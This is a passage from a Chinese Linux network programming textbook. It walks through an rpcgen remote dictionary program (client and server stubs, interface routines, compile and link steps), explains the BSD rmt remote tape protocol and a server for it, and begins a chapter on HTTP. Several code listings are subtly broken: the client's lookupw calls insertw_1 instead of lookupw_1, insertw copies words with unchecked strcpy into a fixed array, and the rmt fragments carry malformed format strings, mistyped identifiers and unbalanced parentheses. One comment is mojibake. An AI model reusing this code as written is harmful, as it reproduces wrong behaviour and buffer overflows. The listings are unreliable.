(clnt_call (clnt, INITW, (xdrproc_t) xdr_void, (caddr_t) argp, (xdrproc_t) xdr_int, (caddr_t) &clnt_res, TIMEOUT) != RPC_SUCCESS) { return (NULL); } return (&clnt_res); } int * insertw_1(char **argp, CLIENT *clnt) { static int clnt_res; memset((char *)&clnt_res, 0, sizeof(clnt_res)); if (clnt_call (clnt, INSERTW, (xdrproc_t) xdr_wrapstring, (caddr_t) argp, (xdrproc_t) xdr_int, (caddr_t) &clnt_res, TIMEOUT) != RPC_SUCCESS) { return (NULL); } return (&clnt_res); } int *deletew_1(char **argp, CLIENT *clnt) { static int clnt_res; memset((char *)&clnt_res, 0, sizeof(clnt_res)); - 272 - Linux网络编程 if (clnt_call (clnt, DELETEW, (xdrproc_t) xdr_wrapstring, (caddr_t) argp, (xdrproc_t) xdr_int, (caddr_t) &clnt_res, TIMEOUT) != RPC_SUCCESS) { return (NULL); } return (&clnt_res); } int *lookupw_1(char **argp, CLIENT *clnt) { static int clnt_res; memset((char *)&clnt_res, 0, sizeof(clnt_res)); if (clnt_call (clnt, LOOKUPW, (xdrproc_t) xdr_wrapstring, (caddr_t) argp, (xdrproc_t) xdr_int, (caddr_t) &clnt_res, TIMEOUT) != RPC_SUCCESS) { return (NULL); } return (&clnt_res); } 该文件为远程程序中的每一个过程准备好了一个通信 stub 过程。像在服务器中一样, 选择过程名字的时候有意避免了冲突。 现在我们来看最后一个文件:rdict_svc.c。它含有服务器所需要的代码。该文件包含服 务器在开始时要执行的主程序。它包括获得一个协议端口号,向端口影射器注册 RPC 程序, 接着便等待接收 RPC 调用。它将每个调用分派给合适的服务器端的 stub 接口。当被调用的 过程响应时,服务器创建一个 RPC 应答并将它发回客户机。 /* Please do not edit this file. It was generated using rpcgen. */ #include “rdict.h” #include <stdio.h> #include <stdlib.h> #include <rpc/pmap_clnt.h> #include <string.h> #include <memory.h> #include <sys/socket.h> #include <netinet/in.h> #ifndef SIG_PF #define SIG_PF void(*)(int) #endif static void rdictprog_1(struct svc_req *rqstp, register SVCXPRT *transp) { 第十二章 远程过程调用 - 273 - union { char *insertw_1_arg; char *deletew_1_arg; char *lookupw_1_arg; } argument; char *result; xdrproc_t _xdr_argument, _xdr_result; char *(*local)(char *, struct svc_req *); switch (rqstp->rq_proc) { case NULLPROC: (void) svc_sendreply (transp, (xdrproc_t) xdr_void, (char *)NULL); return; case INITW: _xdr_argument = (xdrproc_t) xdr_void; _xdr_result = (xdrproc_t) xdr_int; local = (char ()(char *, struct svc_req *)) initw_1_svc; break; case INSERTW: _xdr_argument = (xdrproc_t) xdr_wrapstring; _xdr_result = (xdrproc_t) xdr_int; local = (char ()(char *, struct svc_req *)) insertw_1_svc; break; case DELETEW: _xdr_argument = (xdrproc_t) xdr_wrapstring; _xdr_result = (xdrproc_t) xdr_int; local = (char ()(char *, struct svc_req *)) deletew_1_svc; break; case LOOKUPW: _xdr_argument = (xdrproc_t) xdr_wrapstring; _xdr_result = (xdrproc_t) xdr_int; local = (char ()(char *, struct svc_req *)) lookupw_1_svc; break; default: svcerr_noproc (transp); return; } memset ((char *)&argument, 0, sizeof (argument)); if (!svc_getargs (transp, _xdr_argument, (caddr_t) &argument)) { svcerr_decode (transp); return; } result = (*local)((char *)&argument, rqstp); if (result != NULL && !svc_sendreply(transp, _xdr_result, result)) { - 274 - Linux网络编程 svcerr_systemerr (transp); } if (!svc_freeargs (transp, _xdr_argument, (caddr_t) &argument)) { fprintf (stderr, “unable to free arguments”); exit (1); } return; } int main (int argc, char **argv) { register SVCXPRT *transp; pmap_unset (RDICTPROG, RDICTVERS); transp = svcudp_create(RPC_ANYSOCK); if (transp == NULL) { fprintf (stderr, “cannot create udp service.”); exit(1); } if (!svc_register(transp, RDICTPROG, RDICTVERS, rdictprog_1, IPPROTO_UDP)) { fprintf (stderr, “unable to register (RDICTPROG, RDICTVERS, udp).”); exit(1); } transp = svctcp_create(RPC_ANYSOCK, 0, 0); if (transp == NULL) { fprintf (stderr, “cannot create tcp service.”); exit(1); } if (!svc_register(transp, RDICTPROG, RDICTVERS, rdictprog_1, IPPROTO_TCP)) { fprintf (stderr, “unable to register (RDICTPROG, RDICTVERS, tcp).”); exit(1); } svc_run (); fprintf (stderr, “svc_run returned”); exit (1); /* NOTREACHED */ } 该文件一旦被生成,就可以被编译成为目标代码的形式。在 Linux 系统下,编译它们 的命令是: gcc –c rdict_clnt.c gcc –c rdict_svc.c 每个命令用一个 C 源文件产生一个相应的目标文件。目标文件名用后缀“ .o” 替代“ .c” 后缀。例如,rdict_clnt.c 被编译后的目标文件为 rdict_clnt.o。 5.编写 stub 接口过程 第十二章 远程过程调用 - 275 - rpcgen 产生的文件并没有构成一个完整的程序。它还要求我们必须编写客户机端和服 务器端的接口例程。在远程程序中的每一个远程过程都必须存放在一个接口过程中。 在客户机端,原来的主应用程序控制着处理的进行。它调用接口过程,而它所使用的 过程名和参数类型与最初的那个程序(非分布式版)调用原过程所于使用的完全一样,在 分布式版本中,原来这些过程业已成为远程的了。每个接口过程都必须要将它的参数转换 为 rpcgen 所使用的形式,还必须接着调用响应的客户机端的通信过程。例如,因为最初的 程序含有一个叫做 insertw 的过程,它使用一个指向字符串的指针作为参数,客户机端接口 必须也含有这样一个过程。该接口过程调用 insertw_1,它是 rpcgen 生成的客户机端的通信 stub。 常规的过程参数与通信 stub 所使用的参数间的主要不同在于,rpcgen 生成的所有过程 的参数都使用间接方式。例如,如果最初的过程有一个整形参数,那么,通信 stub 中该过 程的响应的参数必须是一个指向整数的指针。在字典程序中,多数过程要求一个字符串参 数,它在 c 中用一个字符指针(char*)来声明。在响应的通信 stub 中,都要求它们的参数 是一个指向字符指针的指针(char **)。 文件 rdict_cif.c 展示了接口例程如何将参数转换为 rpcgen 产生的代码所期望的形式。 对程序中的每个远程过程,文件中都包含了一个客户机端口的接口过程。 /* rdict_cif.c 包含 initw, insertw, deletew, lookupw 过程 */ #include <stdio.h> #include <rpc/rpc.h> #include “rdict.h” /* Client : 客户读 臃 衿鞯谋淞?*/ extern CLIENT *handle ; /* 为返回数据作临时存储 */ static int *ret ; /********************************************************* initw 客户端的过程接口,调用 initw_1 * *********************************************************/ int initw() { ret = initw_1 ( 0, handle ) ; return ret==0?0:*ret ; } /********************************************************* insertw 客户端的过程接口,调用 insertw_1 * *********************************************************/ int insertw ( const char* word ) { char **arg ; arg = &word ; ret = insertw_1 ( arg, handle ) ; - 276 - Linux网络编程 return ret==0?0:*ret ; } /********************************************************* deletew 客户端的过程接口,调用 insertw_1 * *********************************************************/ int deletew ( const char* word ) { char **arg ; arg = (char**)&word ; ret = deletew_1 ( arg, handle ) ; return ret==0?0:*ret ; } /********************************************************* lookupw 客户端过程接口,调用 insertw_1 * *********************************************************/ int lookupw ( const char* word ) { char **arg ; arg = &word ; ret = insertw_1 ( arg, handle ) ; return ret==0?0:*ret ; } 下面我们在来看看服务器端的接口例程: 在服务器端,接口例程接受来自 rpcgen 所产生的通信 stub 的调用,并将控制权传递给 实现这个指定调用的过程。如同客户机端那样,服务器端接口例程必须吧参数由 rpcgen 所 选择的类型变为被调用过程所使用的类型。在大多数情况下,这种差异在于一种间接方式: rpcgen 传递的是指向一个对象的指针,而不是对象本身。为了转换一个参数,接口过程只 需要使用 C 的见解运算符(*)。文件 rdict_sif.c 展示了这个概念。它包含了字典程序的服 务器端的接口例程。 /* rdict_sif.c 包含 init_1, insert_1, delete_1, lookup_1 过程 */ #include <rpc/rpc.h> #include “rdict.h” static int retcode ; /********************************************************* insertw_1_svc 服务器端接口: insertw 过程 * *********************************************************/ int *insertw_1_svc ( char **w, struct svc_req *rqstp ) { retcode = insertw ( *w ) ; 第十二章 远程过程调用 - 277 - return &retcode ; } /********************************************************* initw_1 服务器端接口: initw 过程 * *********************************************************/ int *initw_1_svc ( void *p, struct svc_req *rqstp ) { retcode = initw () ; return &retcode ; } /********************************************************* deletew_1 服务器端接口: deletew 过程 * *********************************************************/ int *deletew_1_svc ( char **w, struct svc_req *rqstp ) { retcode = deletew ( *w ) ; return &retcode ; } /********************************************************* lookupw_1 服务器端接口: lookupw 过程 * *********************************************************/ int *lookupw_1_svc ( char **w, struct svc_req *rqstp ) { retcode = lookupw ( *w ) ; return &retcode ; } 6.编译并链接客户机程序 在客户机借口例程编写完成并放到一个源文件后,它们就可以被编译了。例如:文件 rdict_cif.c 中包含了字典例子中所有的接口例程。在 Linux 系统下,这样编译: gcc –c rdict_cif.c 编译器产生输出文件 rdict_cif.o。为了完成客户机,程序员需要在最初的主程序中加入 一点新的细节,因为新版本使用了 RPC,程序需要针对 RPC 声明的 C 的 include 文件。它 还需要包含文件 rdict.h,这是因为该文件包含了客户机和服务器都要使用的常量定义。 客户机程序还需要声明并初始化一个句柄(handle),RPC 通信例程用该句柄和服务器 通信。多数客户机使用已定义的类型 CLIENT 声明这个句柄,并且通过调用 RPC 例程库 clnt_create 来初始化这个句柄。文件 rdict.c 展示了这些必要的代码: /* rdict.c 包含 main 和 nextin 过程 */ #include <rpc/rpc.h> #include <stdlib.h> #include <stdio.h> #include <ctype.h> - 278 - Linux网络编程 #include <string.h> #include “rdict.h” /* 每一个输入的命令的最大长度 */ #define MAXWORD 50 /* 远程主机的名字 */ #define RMACHINE “localhost” /* 远程过程的句柄 */ CLIENT *handle ; int nextin ( char* cmd, char* word) ; int initw() ; int insertw ( const char* word ) ; int deletew ( const char* word ) ; int lookupw ( const char* word ) ; /* 主函数,进行各种操作 */ int main ( int argc, char* argv[] ) { /* 从命令行取得命令的变量 */ char word [ MAXWORD + 1 ] ; char cmd ; /* 输入单词的长度 */ int wrdlen ; handle = clnt_create ( RMACHINE, RDICTPROG, RDICTVERS, “tcp” ) ; if ( 0 == handle ) { printf ( “Could not contact remote program. \n” ) ; exit ( 1 ) ; } while ( 1 ) { wrdlen = nextin ( &cmd, word ) ; if ( wrdlen < 0 ) { exit ( 0 ) ; } switch ( cmd ) { case ‘I’ : /* 初始化 */ 第十二章 远程过程调用 - 279 - initw () ; printf ( “Dictionary initalized to empty. \n” ) ; break ; case ‘i’ : /* 插入操作 */ insertw ( word ) ; printf ( “%s inserted. \n”, word ) ; break ; case ‘d’ : /* 删除操作 */ if ( deletew(word) ) { printf ( “%s deleted. \n”, word ) ; }else { printf ( “%s not found. \n”, word ) ; } break ; case ‘l’ : /* 查找 */ if ( lookupw(word) ) { printf ( “%s was found. \n”, word ) ; }else { printf ( “%s was not found. \n”, word ) ; } break ; case ‘q’ : /* 退出 */ printf ( “program quits \n” ) ; exit ( 0 ) ; default : /* 无法识别的命令 */ printf ( “command %c invalid. \n”, cmd ) ; break ; } /* switch 结束 */ } clnt_destroy ( handle ) ; } /***************************************************************** nextin 函数: 读取输入的命令和命令后面跟的单词参数 * ******************************************************************/ - 280 - Linux网络编程 int nextin ( char* cmd, char* word ) { int i, ch ; ch = getc ( stdin ) ; while ( isspace(ch) ) { ch = getc ( stdin ) ; } if ( ch == EOF ) { return -1 ; } *cmd = (char) ch ; ch = getc ( stdin ) ; while ( isspace(ch) ) { ch = getc ( stdin ) ; } if ( EOF == ch ) { return -1 ; } if ( ‘\n’ == ch ) { return 0 ; } i = 0 ; while ( !isspace(ch) ) { if ( MAXWORD < ++i ) { printf ( “error: word too long\n” ) ; exit ( 1 ) ; } *word++ = ch ; ch = getc ( stdin ) ; } *word++ = 0 ; return i ; } 比较 rdict.c 和 dict1.c,可以从中看出,我们只加入了很少的代码。这个例子代码使用 符号常量 RMACHINE 来指定远程机器的名字。为了使测试更加容易,RMACHINE 业已定 义为 localhost,这意味着客户机和服务器将在同一台机器上运行。当然,对分布式程序的 第十二章 远程过程调用 - 281 - 测试一旦完成,程序员将改变定义,使它成为服务器的永久性位置。 Clnt_create 企图向某个指定的远程机器建立连接。如果连接的企图失败,clnt_create 返 回值 NULL,这使应用程序向用户报告差错。如果 clnt_create 报告了一个差错,我们的程 序将退出。在实际中,客户机可以重试,或者维护一个机器列表,试着对表中的各个机器 进行连接。 就像其他的 C 源文件,rdict.c 可以这样编译: gcc –c rdict.c 在 rdict.c 的目标程序被编译出来以后,构成客户机的所有文件可以被链接成为一个可 执行的程序。我们使用下面的命令: gcc –o rdict rdict.o rdict_clnt.o rdict_cif.o 或 gcc –o rdict rdict.c rdict_clnt.c rdict_cif.c 7.编译和链接服务器程序 rpcgen 所生成的输出包含了一个服务器所需要的大多数代码。程序员提供了来年各个 附加的文件:服务器接口例程(rdict_sif.c)和远程过程本身。对我们的字典例子来说,远 程过程的最终版本出现在文件 rdict_srp.c 中。这些过程的代码来自最初的应用。 /* rdict_srp.c 包含 initw, insertw, deletew, lookupw 过程 */ #include <rpc/rpc.h> #include <stdlib.h> #include <stdio.h> #include <ctype.h> #include <string.h> #include “rdict.h” /* 字典的数据存取数组 */ char dict[DICTSIZ][MAXWORD+1] ; /* 字典中字母数 */ int nwords = 0 ; int nextin ( char* cmd, char* word) ; int initw() ; int insertw ( const char* word ) ; int deletew ( const char* word ) ; int lookupw ( const char* word ) ; /********************************************************* initw 初始化字典,清空所有数据 * *********************************************************/ int initw() { nwords = 0 ; return 1 ; } - 282 - Linux网络编程 /********************************************************* insertw 将一个单词插入字典 * *********************************************************/ int insertw ( const char* word ) { strcpy ( dict[nwords], word ) ; nwords ++ ; return nwords ; } /********************************************************* deletew 在字典中删除一个单词 * *********************************************************/ int deletew ( const char* word ) { int i ; for ( i=0 ; i< nwords ; i++ ) { if ( 0==strcmp(word, dict[i]) ) { nwords -- ; strcpy ( dict[i], dict[nwords] ) ; return 1 ; } } return 0 ; } /********************************************************* lookupw 在字典查找一个单词 * *********************************************************/ int lookupw ( const char* word ) { int i ; for ( i=0 ; nwords > i ;i++ ) { if ( 0 == strcmp(word, dict[i]) ) { return 1 ; } } return 0 ; 第十二章 远程过程调用 - 283 - } 我们这样来编译它: gcc –c rdict_srp.c 然后,我们可以将所有的目标程序链接成一个可执行文件: gcc –o rdictd rdict_svc.o rdict_sif.o rdict_srp.o 或 gcc –o rdictd rdict_svc.c rdict_sif.c rdict_srp.c 运行该命令时,它将可执行代码写入文件 rdictd 中。 8.启动服务器和执行客户机 我们现在开始对程序进行测试。正如我们上面说的,我们在同一台机器上面运行服务 器和客户机。 在运行我们的 rdict 客户机之前,我们必须要先运行 rdictd 服务器。否则你将看到下面 的错误信息: Could not contact remote program. 我们要启动 rdictd 服务器程序: ./rdictd & 然后我们在启动 rdict 客户机就可以交互的进行客户机的操作。 12.9 小结 用 rpcgen 构造一个分布式程序由八个步骤组成。程序员由一个解决该问题的常规应用 程序开始,决定如何将程序划分为本地构建和远程执行构建,将应用划分成两个物理的部 分,创建一个描述远程过程的规格说明文件,运行 rpcgen 产生所需要的文件。接着程序员 编写客户机端和服务器端的接口例程,并将它们与 rpcgen 所产生的代码相结合。最后,程 序员编译并链接客户机端和服务器端的文件,以便产生可执行的客户机和服务器程序。 尽管 rpcgen 免除了 RPC 所要求的大部分编写代码的工作,但编写一个分布式程序还 是要认真思考的。在考虑如何将程序划分成本地构建和远程构建时,程序员必须检查被每 个程序片段要访问的数据,以便使数据的移动最小。程序远还必须要考虑到每个远程过程 所引入的延时,以及各个程序片段将如何访问 I/O 设施。 本章所给的字典应用的例子展示了将一个简单的应用转变为一个分布式的程序要花费 很多的精力。更复杂的应用程序要求更加复杂的规格说明和接口过程。 - 284 - Linux网络编程 第十三章 远程磁带的访问 13.1 简介 远程介质访问主要是指远程磁盘和远程磁带的访问,这里主要以远程磁带的访问为例 来讲述远程介质的访问(简称远程带驱的访问)。 大多数的计算机用户都知道做备份的重要性。一旦存储着大量信息的系统由于发生了 故障而造成数据丢失,其损失将是十分巨大的,或者是几天,或者是几个月,甚至是几年 的工作成果,转眼之间就全部化为乌有。由于系统错误而丢失珍贵数据的风险永远不可接 受,因此,养成做备分的习惯对于计算机用户来说是十分重要的,但做备分的时候经常会 发现外存不够用,如在一个多用户系统中,做一次备分将用掉几百兆、几 G 的空间,这就 不是仅仅使用软盘或者硬盘所能满足的,而必须使用另外一种外存—磁带。虽然磁带的存 取速度比软、硬盘慢,在访问方式上只能顺序存取,不如软、硬盘方便,但它有一个最大 的好处,即存储容量大、成本低。随着技术的进步,现在已经出现了光盘,其容量更大, 速度更快,相信在不久的将来可以取代磁带作为常用备份介质。 一般而言,使用几个小的备份比用一个大的备份要好一些。小的备份查找速度快而且 易于使用,用户也不会忽视它们;更重要的是,若一个大型的备份(通常在一个磁带或者 磁盘中容纳不下,而由访问裸设备的 cpio 命令像 DOS 中的 backup 命令那样顺序的“ 倒” 出来后放在若干磁盘或者磁带中)中的某一环节由于某种原因损坏了,那么剩余的部分也 就不能读取了。这样,使用几个小的备份就明显的改善了备份过程的可靠性,并且在发生 意外的时候可以减少损失。因此,我们建议用户在做备份的时候尽可能的多做一些小的备 份。 一般的,在一个局部网络如 Ethernet 中,许多工作站都没有配备磁带驱动器,甚至在 整个网络中也没有配置带驱,这就使得我们只能通过 LAN 将数据在远程系统的带驱上备份 到磁带上。本节将要讨论的 4.3 BSD rmt 协议就是用于这个目的,该协议由 4.3 BSD 中的 rdump 和 rrestore 命令使用。 要使用磁带设备来备份系统,就应该首先了解磁带设备是如何存取的,应该采用什么 系统调用,按什么数据结构存取等等。目前用户使用磁盘较为频繁,相对来说使用磁带就 少的多了,这也是客观上造成了用户对于磁带设备理解甚少的缘故。因此,熟悉磁带设备 的存取方法是设计程序要做的第一步。 Rmt 协议是远程带驱访问所遵循的协议,它定义了远程带驱访问所需信息量的格式。 该协议实际上描述了 Linux 系统上的远程带驱的访问过程。在 Linux 系统中提供了一个称 为 rmt 调度进程的远程磁带服务器,它通常存放在文件 /etc/rmt 中,由 rshd 或者 rexecd 启 动,它遵循 rmt 协议,我们自己编写的客户程序要与 rmt 调度进程通信,因此也应该遵循 这个协议。 要访问远程带驱,用户只需要将必要的参数传递给远程系统上的 rmt 调度进程,具体 的访问过程由远程 rmt 进程执行,本地进程只需要关心数据通信就可以了。 在了解远程带驱的访问过程后,我们就可以着手建立程序框架,编写具体的应用程序。 客户程序由于只关心数据的发送和接收,因此比较简单,只要清楚了 rmt 协议,编写应用 程序应该没有问题。 我们后面将主要介绍 rmt 服务器程序。 第十三章 远程磁带的访问 - 285 - 13.2 Linux 磁带驱动器的处理 在 Linux 系统中的术语“ 介质” 代表磁盘和磁带。在磁带中可建立文件系统,并且可 以像磁盘那样安装,它们唯一的区别在于磁带驱动器的设备文件名。 某些磁带部件是不可安装的,只能用于裸设备,生产厂商在用户指南中已经说明了磁 带驱动器的有关信息,用户必须根据其中定义的存取方法来存取。通常盒式磁带驱动器是 可安装的,而大型 9 道卷轴磁带是不可安装的。 Linux 系统给出了用户进程和磁带驱动器之间的一个简单接口函数,即 read()/write() 系 统调用。使用 read()从磁带驱动器中读一个整块,该调用返回读到的实际字节数;使用 write 系统调用写一个指定大小的块到磁带驱动器。用户应该保证有足够大小的读缓冲区来处理 磁带上的最大块,否则会出错。在关闭磁带驱动器的时候,如果最后的操作是一个 write, 则向磁带写两个文件结束标记。 4.3 BSD 中的磁带驱动器是通过名字来访问的。如将/dev/rmt8 作为参数传递给 open 系 统调用,指定一个磁带驱动器。在名字 /dev/nrmt8 中,前缀“ n” 指明磁带在关闭的时候 不能倒带。 Linux 提供的这种磁带读取方法使得用户可以很方便的对磁带设备进行读写,其具体 的实现由 Linux 系统去做,用户不需要了解磁带设备的各种控制。这也充分体现了 Linux 的优点,用户只需要在 Linux 系统提供的平台上应用就可以了,不必要陷入繁琐的硬件控 制。 4.3 BSD 另外还为磁带设备提供了 ioctl 命令,它允许对磁带进行一些控制属性的操作: 写文件结束标记,指定记录或者文件数的空间,使磁带驱动器脱线等等。通常情况下 System V 也为盒式磁带提供了一个 cpio 版本,它是专门为磁带操作而开发的,不能用于磁盘。除 此之外用户还可以使用 tar 命令( tape archive,磁带归档)。Tar 命令最初就是用于支持大型 磁带的,但现在也可以用于软盘和小型磁带。 13.3 rmt 协议 4.3 BSD 提供了一个称为 rmt 调度进程的远程磁带服务器,程序放在 /etc/rmt 中,由远 程 shell 服务器 rshd 启动,也可由 rexecd 服务器启动,这两个服务器之间的区别就在于确 认方式的不同。 客户与服务器通过 TCP 连接通信的时候,必须遵守一个应用协议,该协议主要由 ASCII 串组成,以换行符结束。 客户发出请求后,服务器根据情况给予相应的应答。 应答有两种: Aretval \n(A 返回值\n)和 Eerrornum\nerrorstring\n(E 错误号\n 错误信息\n) 第一种应答是 ASCII 字符“ A” 后跟一个 ASCII 数码,再紧跟一个换行符,表示该请 求已经成功完成。第二种应答是在出现错误的时候由服务器产生的,它由 ASCII 字符“ E” 后跟一 ASCII 出错号(Linux 错误号)及换行符,再加上一个错误信息串及一个换行符组 成。 客户的所有请求也都以一个 ASCII 字符开始,其格式有如下几种: 1.Opathname\nmode\n (O 路径名\n 模式\n) 打开指定路径名为 pathname 的设备,模式 mode 是一个十进数值,由它说明 open 系统 调用的方式,通常 mode 值为 0 表示读,为 1 表示写,为 2 表示读和写。打开成功的时候, 应答为: A0\n - 286 - Linux网络编程 2.Cpathname\n(C 路径名\n) 关闭当前已经打开的设备。路径名 pathname 参数虽然要求提供,但在服务器中被忽略, 并不使用。关闭成功的时候,应答为: A0\n 3.Loffset\nwhence\n(L 偏移量\n 偏移起始\n) 如果设备支持随机访问,那么在当前已经打开的设备上执行一次 lseek 操作的结果将使 读写指针指向要读写的位置。Lseek 操作成功的时候,返回的 retval 值是一个由 lseek 返回 的长整型值。 4.Wcount\ndata(W 计数值\n 数据) 表明将要对当前打开的设备写入 count 个字节,要写入的数据与客户在此命令和换行 符后面立即发送。在执行 write 系统调用成功以后,retval 为该系统调用的返回值,它应与 指定的 count 值相等。 5.Rcount\n(R 计数值\n) 表明将从当前打开的设备中读取不多于 count 字节的数据。如果 read 系统调用成功, 应答为: Acount\ndata 6.Ioperation\ncount\n(I 操作\n 计数值\n) 表明要在磁带驱动器上执行一次 ioctl 操作。操作 operation 所允许的值可以在头文件 <sys/mtio.h>中找到。如表 13-1 所示。Operation 同时还可以有其它一些值,但它们与硬件 无关。该操作的返回值 retval 在 4.3 BSD 中没有定义。 表 13-1 /etc/rmt 的 ioctl 操作 操 作 描 述 0 写 count 个 EOF 标志 1 向后覆盖 count 个 EOF 标志 2 向前覆盖 count 个 EOF 标志 3 向后覆盖 count 个记录 4 向前覆盖 count 个记录 5 卷带(忽略 count) 6 卷带(忽略 count)并脱离驱动器 7.s\n(S\n) 返回当前打开设备的状态。用户应该尽量避免使用此要求,这是因为该请求返回的值 是含有硬件相关信息的二进制结构。 在通常的操作中使用到的命令仅仅有 open,close,read 和 write,除了 I 和 S 以外,该 协议并没有假定远程设备就是磁带设备,因此该协议也可以用于其它的远程设备访问。 13.4 rmt 服务器设计分析 前面已经介绍了 rmt 协议,它定义了各种请求以及应答报文格式,因此 rmt 服务器可 以根据各种请求分别予以处理。 从总体上看,服务器程序可以看成一个无限循环,在循环过程中检测是否有请求到来。 如有,则根据不同的请求类型(由请求的第一个 ASCII 字符如 O,L,C 等判别)给予相 应的处理,这可以用 C 语言的 Switch 分支语句实现。下面将介绍各种请求的处理过程。 1.open 请求 该请求的格式是: 第十三章 远程磁带的访问 - 287 - Opathname\nmode\n(O 路径名\n 模式\n) 由于是请求打开一个磁带设备,因此,如果原来已经打开了一个设备,这个时候就必 须首先关闭这个设备。磁带描述符 Tapefd 大于或者等于 0 的时候表示已经打开了一个设备, 用 close 系统调用关闭之: close (Tapefd); 这个时候可‘以用 open 系统调用打开请求的磁带设备: Tapefd =open(pathname,atoi(mode)); 若打开设备失败(Tapefd<0),则应答一个 Linux 错误号 errno(由 Linux 给出)以及相 应的错误信息: ResponErr(errno); 若成功(Tapefd)>=0),则应答 A0\n: ResponVal(oL); 这里,ResponErr(ErrNo)函数可以简单实现如下: char ErrMsg[100]; sprintf (ErrMsg,“E%%d\n”,Errno,ErrString[errno]); write (sockfd2,ErrMsg,strlen(ErrMsg) ); ResponVal (longval)函数也可以简单的实现如下: char AckMsg[10]; sprintf(AckMsg,“ A%ld\n” longval); write (sockfd2,AckMsg,strlen(AckMsg)); 2.close 请求 该请求的格式为: Cpathname\n(C 路径名\n) 它请求关闭磁带设备,因此只需要将当前已经打开的磁带设备关闭就可以了,对于传 送过来的 pathname 参数,虽然在请求报文中予以要求,但是实际上并没有使用。 关闭磁带设备使用 close 系统调用: close(Tapefd) 若关闭调用失败(系统调用返回值<0),则应答一个 Linux 错误信号 errno 以及错误信 息: ResponErr(errno); 若成功(返回值>=0),则应答 A0\n: ResponVal(oL) ResponErr 函数和 Respon Val 函数定义同上面一样。最后将 Tapefd 置成-1,表示没有 磁带设备打开,此时对磁带设备的操作将导致错误: Tapefd=-1; 3.lseek 请求 该请求的格式是: Loffer\nwhence\n(L 偏移量\n 偏移起始\n) 如果设备支持随机访问,则该请求用于定位该设备读写指针,读写设备就从该指针指向 的位置开始。在 Linux 系统中把各种外围设备都当成一个文件来处理,磁带设备也不例外, Tapefd 就是其文件描述符,该请求可以用 lseek 系统调用来完成: lretval=lseek (Tapefd ,atoi(offset) ,atoi (whence)); 根据其返回值 lretval (长整形)来判别该请求是否成功完成。若 lretval <0,表明失败,则应 答一个 Linux 错误号 errno 以及错误信息: - 288 - Linux网络编程 ResponErr(errno); 若返回值 lretval >=0,表明成功,则应答返回值 lretval : ResponVal (lretval); 4.Write 请求 该请求的格式是: Wcount\ndata(W 计数值\n 数据) Write 请求从 L 请求所定位的设备位置开始向当前打开的设备写入 count 个字节的数据 data,data 在换行符之后立即发送。使用 Write 系统调用写设备: N=atoi(count); Record =checkbuf(record,n); For (I=0;I+=cc) Cc= read(sockfd1,&record[I],n-I); If (( retval =write (Tapefd,record,n))<0) ResponErr(errno); Else Respon Val ((long)retval); 首先,将字节数存入变量 n 中,然后分配一段缓冲区给 record,用于存放要接受的数 据 data,然后从套接字中逐字节读入数据。在读数据结束后,调用 write 系统调用向磁带设 备写,根据实际写入的字节数,给予不同的应答。若返回值<0,表明写入错误,应答一个 Linux 错误号以及错误: ResponErr(errno); 否则表明写入了若干字节,应答写入的字节数: Respon Val (retval); 在上面的程序段中有两点要注意。一个是读数据的时候是反复读,直到读到 n 字节, 在 for 循环语句中,cc 为每次读到的字节数,循环变量每次加 cc,若没有读到数据,循环 变量实际上没有变,继续读,这只是一种程序设计技巧。第二点就是分配缓冲区空间,必 须保证有足够的空间存储数据,若原有缓冲区空间够大,就不必分配新的缓冲区,因为一 个服务器一次只处理一个请求,所以只需要一个缓冲区;若原有缓冲空间不够,则必须分 配一个新的缓冲区,同时将原有的缓冲区释放掉。 5.Read 请求 该请求的格式是: Rcount \n(R 计数值\n) 服务器接到该请求后,从当前打开的设备读数据, 其字节数不超过 count 个。由于还 要将读到的数据应答给请求方,因此需要一个缓冲区。在读完数据后,将数据发往请求方: n=atoi (count); record =check(record,n); if (retval =read(Tapefd,record,n)<0) ResponErr(errno); Else { Respon Val ((long) retval ); } 与 write 请求类似,read 请求先将计数 count 保留在变量 n 中,然后分配读缓冲区给 record,用系统调用 read 从磁带设备中读 n 个字节到缓冲区 record 中。如果读失败,则应 第十三章 远程磁带的访问 - 289 - 答一个 Linux 错误信号 : ResponErr(errno); 否则先应答实际读到的字节数: Respon Val((long)retval); 然后将读到的数据发往请求方: write (sockfd2,record,retval); 由请求方接收这些数据。 6.Ioctl 请求 该请求的格式为: Ioperation \ncount\n (I 操作\n 计数值\n) 仅仅使用前面提供的几种操作还不足以控制真个磁带设备,可能还需要使用 Linux 系 统提供的系统调用 ioctl 开进一步控制磁带设备。 Ioctl 允许的几种操作值在前面已经介绍 过了,这里就不再重复。服务器接到该请求后,执行 ioctl,然后根据情况给予不同应答: struct mtop mtop; mtop.mt_op=atoi(operation); mtop.mt_count=atoi(count); if (ioctl(Tapefd,MTIOCTOP,(char * )&mtop<0) ResponErr(errno); else Respon Val(( long )mtop.mp_cout); mtop 是 Linux 为 ioctl 调用提供的一个数据结构,请求报文提供的参数就是通过 mtop 传递 ioctl 调用的。若该调用失败,则应答一个 Linux 错误号,否则应答 ioctl 系统调用的结 果。 7.Statu 请求 该请求的格式是: s\n(S\n) 服务器接收到该请求后,通过系统调用 ioctl 来获得当前打开设备的状态。若调用失败, 则应答一个 Linux 错误号,否则应答状态信息的长度以及状态信息: struct mtget mtget;‘ if (ioctl(Tapefd,MTIOCGET,(char * )&mtget)<0) ResponErr( errno); Else { Respon Val(( long)sizeof(mtget); Write (sockfd2,(char * )&mtget,sizeof(mtget)); ) 前面对于 W 请求的解释说明是在 write 系统调用返回后才给客户应答的,我们可以 修改 rmt 服务器,使得在调用 write 系统调用向磁带驱动器写数据块之前给客户以应答。这 样服务器就必须记住 write 系统调用的结果以便发回个给客户的下一应答,这是因为写出错 的时候还必须给客户一个信号。这也意味着客户在写完最后一个数据块后必须执行某一命 令,如 C 命令来关闭设备,以使得它可以得到最后的一个 write 系统调用的结果。 这些程序都是类似的,并不难理解,相信读者可以编写出自己的网络通信程序。 - 290 - Linux网络编程 第十四章 WWW 上 HTTP 协议 14.1 引言 Internet 是在 ARPAnet(美国国防部高级研究工程局网络)的基础上发展起来的, ARPAnet 建立于 60 年代末期,在刚开始的十几年中它主 要服务于科研教育部门,到 90 年代初期,随着 WWW 的发展,Internet 逐渐走向民用,由于 WWW 通过良好的界面大大 简化了 Internet 操作的难度,使得用户的数量急剧增加,许多政府机构、商业公司意识到 Internet 具有巨大的潜力,于是纷纷大量加入 Internet,这样Internet 上的站点数量大大增长, 网络上的信息五花八门、十分丰富。 如今 Internet 已经深入到人们生活的各个部分,通过 WWW 浏览、电子邮件等方式, 人们可以及时的获得自己所需的信息,Internet 大大方便了信息的传播,给人们带来一个全 新的通讯方式,可以说 Internet 